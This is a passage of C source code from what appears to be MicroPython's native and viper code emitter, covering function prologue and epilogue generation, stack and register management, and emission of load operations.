m_new(stack_info_t, emit->stack_info_alloc); } // set default type for return emit->return_vtype = VTYPE_PYOBJ; // set default type for arguments mp_uint_t num_args = emit->scope->num_pos_args + emit->scope->num_kwonly_args; if (scope->scope_flags & MP_SCOPE_FLAG_VARARGS) { num_args += 1; } if (scope->scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) { num_args += 1; } for (mp_uint_t i = 0; i < num_args; i++) { emit->local_vtype[i] = VTYPE_PYOBJ; } // local variables begin unbound, and have unknown type for (mp_uint_t i = num_args; i < emit->local_vtype_alloc; i++) { emit->local_vtype[i] = VTYPE_UNBOUND; } // values on stack begin unbound for (mp_uint_t i = 0; i < emit->stack_info_alloc; i++) { emit->stack_info[i].kind = STACK_VALUE; emit->stack_info[i].vtype = VTYPE_UNBOUND; } mp_asm_base_start_pass(&emit->as->base, pass == MP_PASS_EMIT ? MP_ASM_PASS_EMIT : MP_ASM_PASS_COMPUTE); // generate code for entry to function if (emit->do_viper_types) { // right now we have a restriction of maximum of 4 arguments if (scope->num_pos_args >= 5) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "Viper functions don't currently support more than 4 arguments"); return; } // entry to function int num_locals = 0; if (pass > MP_PASS_SCOPE) { num_locals = scope->num_locals - REG_LOCAL_NUM; if (num_locals < 0) { num_locals = 0; } emit->stack_start = num_locals; num_locals += scope->stack_size; } ASM_ENTRY(emit->as, num_locals); // TODO don't load r7 if we don't need it #if N_THUMB asm_thumb_mov_reg_i32(emit->as, ASM_THUMB_REG_R7, (mp_uint_t)mp_fun_table); #elif N_ARM asm_arm_mov_reg_i32(emit->as, ASM_ARM_REG_R7, (mp_uint_t)mp_fun_table); #endif #if N_X86 for (int i = 0; i < scope->num_pos_args; i++) { if (i == 0) { asm_x86_mov_arg_to_r32(emit->as, i, REG_LOCAL_1); } else if (i == 1) { asm_x86_mov_arg_to_r32(emit->as, i, REG_LOCAL_2); } else if (i == 2) { asm_x86_mov_arg_to_r32(emit->as, i, REG_LOCAL_3); } else { asm_x86_mov_arg_to_r32(emit->as, i, REG_TEMP0); asm_x86_mov_r32_to_local(emit->as, REG_TEMP0, i - REG_LOCAL_NUM); } } #else for (int i = 0; i < scope->num_pos_args; i++) { if (i == 0) { ASM_MOV_REG_REG(emit->as, REG_LOCAL_1, REG_ARG_1); } else if (i == 1) { ASM_MOV_REG_REG(emit->as, REG_LOCAL_2, REG_ARG_2); } else if (i == 2) { ASM_MOV_REG_REG(emit->as, REG_LOCAL_3, REG_ARG_3); } else { assert(i == 3); // should be true; max 4 args is checked above ASM_MOV_REG_TO_LOCAL(emit->as, REG_ARG_4, i - REG_LOCAL_NUM); } } #endif } else { // work out size of state (locals plus stack) emit->n_state = scope->num_locals + scope->stack_size; // allocate space on C-stack for code_state structure, which includes state ASM_ENTRY(emit->as, STATE_START + emit->n_state); // TODO don't load r7 if we don't need it #if N_THUMB asm_thumb_mov_reg_i32(emit->as, ASM_THUMB_REG_R7, (mp_uint_t)mp_fun_table); #elif N_ARM asm_arm_mov_reg_i32(emit->as, ASM_ARM_REG_R7, (mp_uint_t)mp_fun_table); #endif // prepare incoming arguments for call to mp_setup_code_state #if N_X86 asm_x86_mov_arg_to_r32(emit->as, 0, REG_ARG_1); asm_x86_mov_arg_to_r32(emit->as, 1, REG_ARG_2); asm_x86_mov_arg_to_r32(emit->as, 2, REG_ARG_3); asm_x86_mov_arg_to_r32(emit->as, 3, REG_ARG_4); #endif // set code_state.fun_bc ASM_MOV_REG_TO_LOCAL(emit->as, REG_ARG_1, offsetof(mp_code_state_t, fun_bc) / sizeof(uintptr_t)); // set code_state.ip (offset from start of this function to prelude info) // XXX this encoding may change size ASM_MOV_IMM_TO_LOCAL_USING(emit->as, emit->prelude_offset, offsetof(mp_code_state_t, ip) / sizeof(uintptr_t), REG_ARG_1); // put address of code_state into first arg ASM_MOV_LOCAL_ADDR_TO_REG(emit->as, 0, REG_ARG_1); // call mp_setup_code_state to prepare code_state structure #if N_THUMB asm_thumb_bl_ind(emit->as, mp_fun_table[MP_F_SETUP_CODE_STATE], MP_F_SETUP_CODE_STATE, ASM_THUMB_REG_R4); #elif N_ARM asm_arm_bl_ind(emit->as, mp_fun_table[MP_F_SETUP_CODE_STATE], MP_F_SETUP_CODE_STATE, ASM_ARM_REG_R4); #else ASM_CALL_IND(emit->as, mp_fun_table[MP_F_SETUP_CODE_STATE], MP_F_SETUP_CODE_STATE); #endif // cache some locals in registers if (scope->num_locals > 0) { ASM_MOV_LOCAL_TO_REG(emit->as, STATE_START + emit->n_state - 1 - 0, REG_LOCAL_1); if (scope->num_locals > 1) { ASM_MOV_LOCAL_TO_REG(emit->as, STATE_START + emit->n_state - 1 - 1, REG_LOCAL_2); if (scope->num_locals > 2) { ASM_MOV_LOCAL_TO_REG(emit->as, STATE_START + emit->n_state - 1 - 2, REG_LOCAL_3); } } } // set the type of closed over variables for (mp_uint_t i = 0; i < scope->id_info_len; i++) { id_info_t *id = &scope->id_info[i]; if (id->kind == ID_INFO_KIND_CELL) { emit->local_vtype[id->local_num] = VTYPE_PYOBJ; } } } } STATIC void emit_native_end_pass(emit_t *emit) { if (!emit->last_emit_was_return_value) { ASM_EXIT(emit->as); } if (!emit->do_viper_types) { emit->prelude_offset = mp_asm_base_get_code_pos(&emit->as->base); mp_asm_base_data(&emit->as->base, 1, 0x80 | ((emit->n_state >> 7) & 0x7f)); mp_asm_base_data(&emit->as->base, 1, emit->n_state & 0x7f); mp_asm_base_data(&emit->as->base, 1, 0); // n_exc_stack mp_asm_base_data(&emit->as->base, 1, emit->scope->scope_flags); mp_asm_base_data(&emit->as->base, 1, emit->scope->num_pos_args); mp_asm_base_data(&emit->as->base, 1, emit->scope->num_kwonly_args); mp_asm_base_data(&emit->as->base, 1, emit->scope->num_def_pos_args); // write code info #if MICROPY_PERSISTENT_CODE mp_asm_base_data(&emit->as->base, 1, 5); mp_asm_base_data(&emit->as->base, 1, emit->scope->simple_name); mp_asm_base_data(&emit->as->base, 1, emit->scope->simple_name >> 8); mp_asm_base_data(&emit->as->base, 1, emit->scope->source_file); mp_asm_base_data(&emit->as->base, 1, emit->scope->source_file >> 8); #else mp_asm_base_data(&emit->as->base, 1, 1); #endif // bytecode prelude: initialise closed over variables for (int i = 0; i < emit->scope->id_info_len; i++) { id_info_t *id = &emit->scope->id_info[i]; if (id->kind == ID_INFO_KIND_CELL) { assert(id->local_num < 255); mp_asm_base_data(&emit->as->base, 1, id->local_num); // write the local which should be converted to a cell } } mp_asm_base_data(&emit->as->base, 1, 255); // end of list sentinel mp_asm_base_align(&emit->as->base, ASM_WORD_SIZE); emit->const_table_offset = mp_asm_base_get_code_pos(&emit->as->base); // write argument names as qstr objects // see comment in corresponding part of emitbc.c about the logic here for (int i = 0; i < emit->scope->num_pos_args + emit->scope->num_kwonly_args; i++) { qstr qst = MP_QSTR__star_; for (int j = 0; j < emit->scope->id_info_len; ++j) { id_info_t *id = &emit->scope->id_info[j]; if ((id->flags & ID_FLAG_IS_PARAM) && id->local_num == i) { qst = id->qst; break; } } mp_asm_base_data(&emit->as->base, ASM_WORD_SIZE, (mp_uint_t)MP_OBJ_NEW_QSTR(qst)); } } ASM_END_PASS(emit->as); // check stack is back to zero size assert(emit->stack_size == 0); if (emit->pass == MP_PASS_EMIT) { void *f = mp_asm_base_get_code(&emit->as->base); mp_uint_t f_len = mp_asm_base_get_code_size(&emit->as->base); // compute type signature // note that the lower 4 bits of a vtype are tho correct MP_NATIVE_TYPE_xxx mp_uint_t type_sig = emit->return_vtype & 0xf; for (mp_uint_t i = 0; i < emit->scope->num_pos_args; i++) { type_sig |= (emit->local_vtype[i] & 0xf) << (i * 4 + 4); } mp_emit_glue_assign_native(emit->scope->raw_code, emit->do_viper_types ? MP_CODE_NATIVE_VIPER : MP_CODE_NATIVE_PY, f, f_len, (mp_uint_t*)((byte*)f + emit->const_table_offset), emit->scope->num_pos_args, emit->scope->scope_flags, type_sig); } } STATIC bool emit_native_last_emit_was_return_value(emit_t *emit) { return emit->last_emit_was_return_value; } STATIC void adjust_stack(emit_t *emit, mp_int_t stack_size_delta) { assert((mp_int_t)emit->stack_size + stack_size_delta >= 0); emit->stack_size += stack_size_delta; if (emit->pass > MP_PASS_SCOPE && emit->stack_size > emit->scope->stack_size) { emit->scope->stack_size = emit->stack_size; } #ifdef DEBUG_PRINT DEBUG_printf(" adjust_stack; stack_size=%d+%d; stack now:", emit->stack_size - stack_size_delta, stack_size_delta); for (int i = 0; i < emit->stack_size; i++) { stack_info_t *si = &emit->stack_info[i]; DEBUG_printf(" (v=%d k=%d %d)", si->vtype, si->kind, si->data.u_reg); } DEBUG_printf("\n"); #endif } STATIC void emit_native_adjust_stack_size(emit_t *emit, mp_int_t delta) { DEBUG_printf("adjust_stack_size(" INT_FMT ")\n", delta); // If we are adjusting the stack in a positive direction (pushing) then we // need to fill in values for the stack kind and vtype of the newly-pushed // entries. These should be set to "value" (ie not reg or imm) because we // should only need to adjust the stack due to a jump to this part in the // code (and hence we have settled the stack before the jump). for (mp_int_t i = 0; i < delta; i++) { stack_info_t *si = &emit->stack_info[emit->stack_size + i]; si->kind = STACK_VALUE; // TODO we don't know the vtype to use here. At the moment this is a // hack to get the case of multi comparison working. if (delta == 1) { si->vtype = emit->saved_stack_vtype; } else { si->vtype = VTYPE_PYOBJ; } } adjust_stack(emit, delta); } STATIC void emit_native_set_source_line(emit_t *emit, mp_uint_t source_line) { (void)emit; (void)source_line; } // this must be called at start of emit functions STATIC void emit_native_pre(emit_t *emit) { emit->last_emit_was_return_value = false; } // depth==0 is top, depth==1 is before top, etc STATIC stack_info_t *peek_stack(emit_t *emit, mp_uint_t depth) { return &emit->stack_info[emit->stack_size - 1 - depth]; } // depth==0 is top, depth==1 is before top, etc STATIC vtype_kind_t peek_vtype(emit_t *emit, mp_uint_t depth) { return peek_stack(emit, depth)->vtype; } // pos=1 is TOS, pos=2 is next, etc // use pos=0 for no skipping STATIC void need_reg_single(emit_t *emit, int reg_needed, int skip_stack_pos) { skip_stack_pos = emit->stack_size - skip_stack_pos; for (int i = 0; i < emit->stack_size; i++) { if (i != skip_stack_pos) { stack_info_t *si = &emit->stack_info[i]; if (si->kind == STACK_REG && si->data.u_reg == reg_needed) { si->kind = STACK_VALUE; ASM_MOV_REG_TO_LOCAL(emit->as, si->data.u_reg, emit->stack_start + i); } } } } STATIC void need_reg_all(emit_t *emit) { for (int i = 0; i < emit->stack_size; i++) { stack_info_t *si = &emit->stack_info[i]; if (si->kind == STACK_REG) { si->kind = STACK_VALUE; ASM_MOV_REG_TO_LOCAL(emit->as, si->data.u_reg, emit->stack_start + i); } } } STATIC void need_stack_settled(emit_t *emit) { DEBUG_printf(" need_stack_settled; stack_size=%d\n", emit->stack_size); for (int i = 0; i < emit->stack_size; i++) { stack_info_t *si = &emit->stack_info[i]; if (si->kind == STACK_REG) { DEBUG_printf(" reg(%u) to local(%u)\n", si->data.u_reg, emit->stack_start + i); si->kind = STACK_VALUE; ASM_MOV_REG_TO_LOCAL(emit->as, si->data.u_reg, emit->stack_start + i); } } for (int i = 0; i < emit->stack_size; i++) { stack_info_t *si = &emit->stack_info[i]; if (si->kind == STACK_IMM) { DEBUG_printf(" imm(" INT_FMT ") to local(%u)\n", si->data.u_imm, emit->stack_start + i); si->kind = STACK_VALUE; ASM_MOV_IMM_TO_LOCAL_USING(emit->as, si->data.u_imm, emit->stack_start + i, REG_TEMP0); } } } // pos=1 is TOS, pos=2 is next, etc STATIC void emit_access_stack(emit_t *emit, int pos, vtype_kind_t *vtype, int reg_dest) { need_reg_single(emit, reg_dest, pos); stack_info_t *si = &emit->stack_info[emit->stack_size - pos]; *vtype = si->vtype; switch (si->kind) { case STACK_VALUE: ASM_MOV_LOCAL_TO_REG(emit->as, emit->stack_start + emit->stack_size - pos, reg_dest); break; case STACK_REG: if (si->data.u_reg != reg_dest) { ASM_MOV_REG_REG(emit->as, reg_dest, si->data.u_reg); } break; case STACK_IMM: ASM_MOV_IMM_TO_REG(emit->as, si->data.u_imm, reg_dest); break; } } // does an efficient X=pop(); discard(); push(X) // needs a (non-temp) register in case the poped element was stored in the stack STATIC void emit_fold_stack_top(emit_t *emit, int reg_dest) { stack_info_t *si = &emit->stack_info[emit->stack_size - 2]; si[0] = si[1]; if (si->kind == STACK_VALUE) { // if folded element was on the stack we need to put it in a register ASM_MOV_LOCAL_TO_REG(emit->as, emit->stack_start + emit->stack_size - 1, reg_dest); si->kind = STACK_REG; si->data.u_reg = reg_dest; } adjust_stack(emit, -1); } // If stacked value is in a register and the register is not r1 or r2, then // *reg_dest is set to that register. Otherwise the value is put in *reg_dest. STATIC void emit_pre_pop_reg_flexible(emit_t *emit, vtype_kind_t *vtype, int *reg_dest, int not_r1, int not_r2) { emit->last_emit_was_return_value = false; stack_info_t *si = peek_stack(emit, 0); if (si->kind == STACK_REG && si->data.u_reg != not_r1 && si->data.u_reg != not_r2) { *vtype = si->vtype; *reg_dest = si->data.u_reg; need_reg_single(emit, *reg_dest, 1); } else { emit_access_stack(emit, 1, vtype, *reg_dest); } adjust_stack(emit, -1); } STATIC void emit_pre_pop_discard(emit_t *emit) { emit->last_emit_was_return_value = false; adjust_stack(emit, -1); } STATIC void emit_pre_pop_reg(emit_t *emit, vtype_kind_t *vtype, int reg_dest) { emit->last_emit_was_return_value = false; emit_access_stack(emit, 1, vtype, reg_dest); adjust_stack(emit, -1); } STATIC void emit_pre_pop_reg_reg(emit_t *emit, vtype_kind_t *vtypea, int rega, vtype_kind_t *vtypeb, int regb) { emit_pre_pop_reg(emit, vtypea, rega); emit_pre_pop_reg(emit, vtypeb, regb); } STATIC void emit_pre_pop_reg_reg_reg(emit_t *emit, vtype_kind_t *vtypea, int rega, vtype_kind_t *vtypeb, int regb, vtype_kind_t *vtypec, int regc) { emit_pre_pop_reg(emit, vtypea, rega); emit_pre_pop_reg(emit, vtypeb, regb); emit_pre_pop_reg(emit, vtypec, regc); } STATIC void emit_post(emit_t *emit) { (void)emit; } STATIC void emit_post_top_set_vtype(emit_t *emit, vtype_kind_t new_vtype) { stack_info_t *si = &emit->stack_info[emit->stack_size - 1]; si->vtype = new_vtype; } STATIC void emit_post_push_reg(emit_t *emit, vtype_kind_t vtype, int reg) { stack_info_t *si = &emit->stack_info[emit->stack_size]; si->vtype = vtype; si->kind = STACK_REG; si->data.u_reg = reg; adjust_stack(emit, 1); } STATIC void emit_post_push_imm(emit_t *emit, vtype_kind_t vtype, mp_int_t imm) { stack_info_t *si = &emit->stack_info[emit->stack_size]; si->vtype = vtype; si->kind = STACK_IMM; si->data.u_imm = imm; adjust_stack(emit, 1); } STATIC void emit_post_push_reg_reg(emit_t *emit, vtype_kind_t vtypea, int rega, vtype_kind_t vtypeb, int regb) { emit_post_push_reg(emit, vtypea, rega); emit_post_push_reg(emit, vtypeb, regb); } STATIC void emit_post_push_reg_reg_reg(emit_t *emit, vtype_kind_t vtypea, int rega, vtype_kind_t vtypeb, int regb, vtype_kind_t vtypec, int regc) { emit_post_push_reg(emit, vtypea, rega); emit_post_push_reg(emit, vtypeb, regb); emit_post_push_reg(emit, vtypec, regc); } STATIC void emit_post_push_reg_reg_reg_reg(emit_t *emit, vtype_kind_t vtypea, int rega, vtype_kind_t vtypeb, int regb, vtype_kind_t vtypec, int regc, vtype_kind_t vtyped, int regd) { emit_post_push_reg(emit, vtypea, rega); emit_post_push_reg(emit, vtypeb, regb); emit_post_push_reg(emit, vtypec, regc); emit_post_push_reg(emit, vtyped, regd); } STATIC void emit_call(emit_t *emit, mp_fun_kind_t fun_kind) { need_reg_all(emit); ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind); } STATIC void emit_call_with_imm_arg(emit_t *emit, mp_fun_kind_t fun_kind, mp_int_t arg_val, int arg_reg) { need_reg_all(emit); ASM_MOV_IMM_TO_REG(emit->as, arg_val, arg_reg); ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind); } // the first arg is stored in the code aligned on a mp_uint_t boundary STATIC void emit_call_with_imm_arg_aligned(emit_t *emit, mp_fun_kind_t fun_kind, mp_int_t arg_val, int arg_reg) { need_reg_all(emit); ASM_MOV_ALIGNED_IMM_TO_REG(emit->as, arg_val, arg_reg); ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind); } STATIC void emit_call_with_2_imm_args(emit_t *emit, mp_fun_kind_t fun_kind, mp_int_t arg_val1, int arg_reg1, mp_int_t arg_val2, int arg_reg2) { need_reg_all(emit); ASM_MOV_IMM_TO_REG(emit->as, arg_val1, arg_reg1); ASM_MOV_IMM_TO_REG(emit->as, arg_val2, arg_reg2); ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind); } // the first arg is stored in the code aligned on a mp_uint_t boundary STATIC void emit_call_with_3_imm_args_and_first_aligned(emit_t *emit, mp_fun_kind_t fun_kind, mp_int_t arg_val1, int arg_reg1, mp_int_t arg_val2, int arg_reg2, mp_int_t arg_val3, int arg_reg3) { need_reg_all(emit); ASM_MOV_ALIGNED_IMM_TO_REG(emit->as, arg_val1, arg_reg1); ASM_MOV_IMM_TO_REG(emit->as, arg_val2, arg_reg2); ASM_MOV_IMM_TO_REG(emit->as, arg_val3, arg_reg3); ASM_CALL_IND(emit->as, mp_fun_table[fun_kind], fun_kind); } // vtype of all n_pop objects is VTYPE_PYOBJ // Will convert any items that are not VTYPE_PYOBJ to this type and put them back on the stack. // If any conversions of non-immediate values are needed, then it uses REG_ARG_1, REG_ARG_2 and REG_RET. // Otherwise, it does not use any temporary registers (but may use reg_dest before loading it with stack pointer). STATIC void emit_get_stack_pointer_to_reg_for_pop(emit_t *emit, mp_uint_t reg_dest, mp_uint_t n_pop) { need_reg_all(emit); // First, store any immediate values to their respective place on the stack. for (mp_uint_t i = 0; i < n_pop; i++) { stack_info_t *si = &emit->stack_info[emit->stack_size - 1 - i]; // must push any imm's to stack // must convert them to VTYPE_PYOBJ for viper code if (si->kind == STACK_IMM) { si->kind = STACK_VALUE; switch (si->vtype) { case VTYPE_PYOBJ: ASM_MOV_IMM_TO_LOCAL_USING(emit->as, si->data.u_imm, emit->stack_start + emit->stack_size - 1 - i, reg_dest); break; case VTYPE_BOOL: if (si->data.u_imm == 0) { ASM_MOV_IMM_TO_LOCAL_USING(emit->as, (mp_uint_t)mp_const_false, emit->stack_start + emit->stack_size - 1 - i, reg_dest); } else { ASM_MOV_IMM_TO_LOCAL_USING(emit->as, (mp_uint_t)mp_const_true, emit->stack_start + emit->stack_size - 1 - i, reg_dest); } si->vtype = VTYPE_PYOBJ; break; case VTYPE_INT: case VTYPE_UINT: ASM_MOV_IMM_TO_LOCAL_USING(emit->as, (uintptr_t)MP_OBJ_NEW_SMALL_INT(si->data.u_imm), emit->stack_start + emit->stack_size - 1 - i, reg_dest); si->vtype = VTYPE_PYOBJ; break; default: // not handled mp_raise_NotImplementedError("conversion to object"); } } // verify that this value is on the stack assert(si->kind == STACK_VALUE); } // Second, convert any non-VTYPE_PYOBJ to that type. for (mp_uint_t i = 0; i < n_pop; i++) { stack_info_t *si = &emit->stack_info[emit->stack_size - 1 - i]; if (si->vtype != VTYPE_PYOBJ) { mp_uint_t local_num = emit->stack_start + emit->stack_size - 1 - i; ASM_MOV_LOCAL_TO_REG(emit->as, local_num, REG_ARG_1); emit_call_with_imm_arg(emit, MP_F_CONVERT_NATIVE_TO_OBJ, si->vtype, REG_ARG_2); // arg2 = type ASM_MOV_REG_TO_LOCAL(emit->as, REG_RET, local_num); si->vtype = VTYPE_PYOBJ; DEBUG_printf(" convert_native_to_obj(local_num=" UINT_FMT ")\n", local_num); } } // Adujust the stack for a pop of n_pop items, and load the stack pointer into reg_dest. adjust_stack(emit, -n_pop); ASM_MOV_LOCAL_ADDR_TO_REG(emit->as, emit->stack_start + emit->stack_size, reg_dest); } // vtype of all n_push objects is VTYPE_PYOBJ STATIC void emit_get_stack_pointer_to_reg_for_push(emit_t *emit, mp_uint_t reg_dest, mp_uint_t n_push) { need_reg_all(emit); for (mp_uint_t i = 0; i < n_push; i++) { emit->stack_info[emit->stack_size + i].kind = STACK_VALUE; emit->stack_info[emit->stack_size + i].vtype = VTYPE_PYOBJ; } ASM_MOV_LOCAL_ADDR_TO_REG(emit->as, emit->stack_start + emit->stack_size, reg_dest); adjust_stack(emit, n_push); } STATIC void emit_native_label_assign(emit_t *emit, mp_uint_t l) { DEBUG_printf("label_assign(" UINT_FMT ")\n", l); emit_native_pre(emit); // need to commit stack because we can jump here from elsewhere need_stack_settled(emit); mp_asm_base_label_assign(&emit->as->base, l); emit_post(emit); } STATIC void emit_native_import_name(emit_t *emit, qstr qst) { DEBUG_printf("import_name %s\n", qstr_str(qst)); // get arguments from stack: arg2 = fromlist, arg3 = level // if using viper types these arguments must be converted to proper objects if (emit->do_viper_types) { // fromlist should be None or a tuple stack_info_t *top = peek_stack(emit, 0); if (top->vtype == VTYPE_PTR_NONE) { emit_pre_pop_discard(emit); ASM_MOV_IMM_TO_REG(emit->as, (mp_uint_t)mp_const_none, REG_ARG_2); } else { vtype_kind_t vtype_fromlist; emit_pre_pop_reg(emit, &vtype_fromlist, REG_ARG_2); assert(vtype_fromlist == VTYPE_PYOBJ); } // level argument should be an immediate integer top = peek_stack(emit, 0); assert(top->vtype == VTYPE_INT && top->kind == STACK_IMM); ASM_MOV_IMM_TO_REG(emit->as, (mp_uint_t)MP_OBJ_NEW_SMALL_INT(top->data.u_imm), REG_ARG_3); emit_pre_pop_discard(emit); } else { vtype_kind_t vtype_fromlist; vtype_kind_t vtype_level; emit_pre_pop_reg_reg(emit, &vtype_fromlist, REG_ARG_2, &vtype_level, REG_ARG_3); assert(vtype_fromlist == VTYPE_PYOBJ); assert(vtype_level == VTYPE_PYOBJ); } emit_call_with_imm_arg(emit, MP_F_IMPORT_NAME, qst, REG_ARG_1); // arg1 = import name emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_import_from(emit_t *emit, qstr qst) { DEBUG_printf("import_from %s\n", qstr_str(qst)); emit_native_pre(emit); vtype_kind_t vtype_module; emit_access_stack(emit, 1, &vtype_module, REG_ARG_1); // arg1 = module assert(vtype_module == VTYPE_PYOBJ); emit_call_with_imm_arg(emit, MP_F_IMPORT_FROM, qst, REG_ARG_2); // arg2 = import name emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_import_star(emit_t *emit) { DEBUG_printf("import_star\n"); vtype_kind_t vtype_module; emit_pre_pop_reg(emit, &vtype_module, REG_ARG_1); // arg1 = module assert(vtype_module == VTYPE_PYOBJ); emit_call(emit, MP_F_IMPORT_ALL); emit_post(emit); } STATIC void emit_native_load_const_tok(emit_t *emit, mp_token_kind_t tok) { DEBUG_printf("load_const_tok(tok=%u)\n", tok); emit_native_pre(emit); vtype_kind_t vtype; mp_uint_t val; if (emit->do_viper_types) { switch (tok) { case MP_TOKEN_KW_NONE: vtype = VTYPE_PTR_NONE; val = 0; break; case MP_TOKEN_KW_FALSE: vtype = VTYPE_BOOL; val = 0; break; case MP_TOKEN_KW_TRUE: vtype = VTYPE_BOOL; val = 1; break; default: assert(tok == MP_TOKEN_ELLIPSIS); vtype = VTYPE_PYOBJ; val = (mp_uint_t)&mp_const_ellipsis_obj; break; } } else { vtype = VTYPE_PYOBJ; switch (tok) { case MP_TOKEN_KW_NONE: val = (mp_uint_t)mp_const_none; break; case MP_TOKEN_KW_FALSE: val = (mp_uint_t)mp_const_false; break; case MP_TOKEN_KW_TRUE: val = (mp_uint_t)mp_const_true; break; default: assert(tok == MP_TOKEN_ELLIPSIS); val = (mp_uint_t)&mp_const_ellipsis_obj; break; } } emit_post_push_imm(emit, vtype, val); } STATIC void emit_native_load_const_small_int(emit_t *emit, mp_int_t arg) { DEBUG_printf("load_const_small_int(int=" INT_FMT ")\n", arg); emit_native_pre(emit); if (emit->do_viper_types) { emit_post_push_imm(emit, VTYPE_INT, arg); } else { emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)MP_OBJ_NEW_SMALL_INT(arg)); } } STATIC void emit_native_load_const_str(emit_t *emit, qstr qst) { emit_native_pre(emit); // TODO: Eventually we want to be able to work with raw pointers in viper to // do native array access. For now we just load them as any other object. /* if (emit->do_viper_types) { // load a pointer to the asciiz string? emit_post_push_imm(emit, VTYPE_PTR, (mp_uint_t)qstr_str(qst)); } else */ { emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)MP_OBJ_NEW_QSTR(qst)); } } STATIC void emit_native_load_const_obj(emit_t *emit, mp_obj_t obj) { emit_native_pre(emit); need_reg_single(emit, REG_RET, 0); ASM_MOV_ALIGNED_IMM_TO_REG(emit->as, (mp_uint_t)obj, REG_RET); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_load_null(emit_t *emit) { emit_native_pre(emit); emit_post_push_imm(emit, VTYPE_PYOBJ, 0); } STATIC void emit_native_load_fast(emit_t *emit, qstr qst, mp_uint_t local_num) { DEBUG_printf("load_fast(%s, " UINT_FMT ")\n", qstr_str(qst), local_num); vtype_kind_t vtype = emit->local_vtype[local_num]; if (vtype == VTYPE_UNBOUND) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "local '%q' used before type known", qst); } emit_native_pre(emit); if (local_num == 0) { emit_post_push_reg(emit, vtype, REG_LOCAL_1); } else if (local_num == 1) { emit_post_push_reg(emit, vtype, REG_LOCAL_2); } else if (local_num == 2) { emit_post_push_reg(emit, vtype, REG_LOCAL_3); } else { need_reg_single(emit, REG_TEMP0, 0); if (emit->do_viper_types) { ASM_MOV_LOCAL_TO_REG(emit->as, local_num - REG_LOCAL_NUM, REG_TEMP0); } else { ASM_MOV_LOCAL_TO_REG(emit->as, STATE_START + emit->n_state - 1 - local_num, REG_TEMP0); } emit_post_push_reg(emit, vtype, REG_TEMP0); } } STATIC void emit_native_load_deref(emit_t *emit, qstr qst, mp_uint_t local_num) { DEBUG_printf("load_deref(%s, " UINT_FMT ")\n", qstr_str(qst), local_num); need_reg_single(emit, REG_RET, 0); emit_native_load_fast(emit, qst, local_num); vtype_kind_t vtype; int reg_base = REG_RET; emit_pre_pop_reg_flexible(emit, &vtype, ®_base, -1, -1); ASM_LOAD_REG_REG_OFFSET(emit->as, REG_RET, reg_base, 1); // closed over vars are always Python objects emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_load_name(emit_t *emit, qstr qst) { DEBUG_printf("load_name(%s)\n", qstr_str(qst)); emit_native_pre(emit); emit_call_with_imm_arg(emit, MP_F_LOAD_NAME, qst, REG_ARG_1); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_load_global(emit_t *emit, qstr qst) { DEBUG_printf("load_global(%s)\n", qstr_str(qst)); emit_native_pre(emit); // check for builtin casting operators if (emit->do_viper_types && qst == MP_QSTR_int) { emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_INT); } else if (emit->do_viper_types && qst == MP_QSTR_uint) { emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_UINT); } else if (emit->do_viper_types && qst == MP_QSTR_ptr) { emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_PTR); } else if (emit->do_viper_types && qst == MP_QSTR_ptr8) { emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_PTR8); } else if (emit->do_viper_types && qst == MP_QSTR_ptr16) { emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_PTR16); } else if (emit->do_viper_types && qst == MP_QSTR_ptr32) { emit_post_push_imm(emit, VTYPE_BUILTIN_CAST, VTYPE_PTR32); } else { emit_call_with_imm_arg(emit, MP_F_LOAD_GLOBAL, qst, REG_ARG_1); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } } STATIC void emit_native_load_attr(emit_t *emit, qstr qst) { // depends on type of subject: // - integer, function, pointer to integers: error // - pointer to structure: get member, quite easy // - Python object: call mp_load_attr, and needs to be typed to convert result vtype_kind_t vtype_base; emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = base assert(vtype_base == VTYPE_PYOBJ); emit_call_with_imm_arg(emit, MP_F_LOAD_ATTR, qst, REG_ARG_2); // arg2 = attribute name emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_load_method(emit_t *emit, qstr qst, bool is_super) { if (is_super) { emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_2, 3); // arg2 = dest ptr emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_2, 2); // arg2 = dest ptr emit_call_with_imm_arg(emit, MP_F_LOAD_SUPER_METHOD, qst, REG_ARG_1); // arg1 = method name } else { vtype_kind_t vtype_base; emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = base assert(vtype_base == VTYPE_PYOBJ); emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, 2); // arg3 = dest ptr emit_call_with_imm_arg(emit, MP_F_LOAD_METHOD, qst, REG_ARG_2); // arg2 = method name } } STATIC void emit_native_load_build_class(emit_t *emit) { emit_native_pre(emit); emit_call(emit, MP_F_LOAD_BUILD_CLASS); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_load_subscr(emit_t *emit) { DEBUG_printf("load_subscr\n"); // need to compile: base[index] // pop: index, base // optimise case where index is an immediate vtype_kind_t vtype_base = peek_vtype(emit, 1); if (vtype_base == VTYPE_PYOBJ) { // standard Python subscr // TODO factor this implicit cast code with other uses of it vtype_kind_t vtype_index = peek_vtype(emit, 0); if (vtype_index == VTYPE_PYOBJ) { emit_pre_pop_reg(emit, 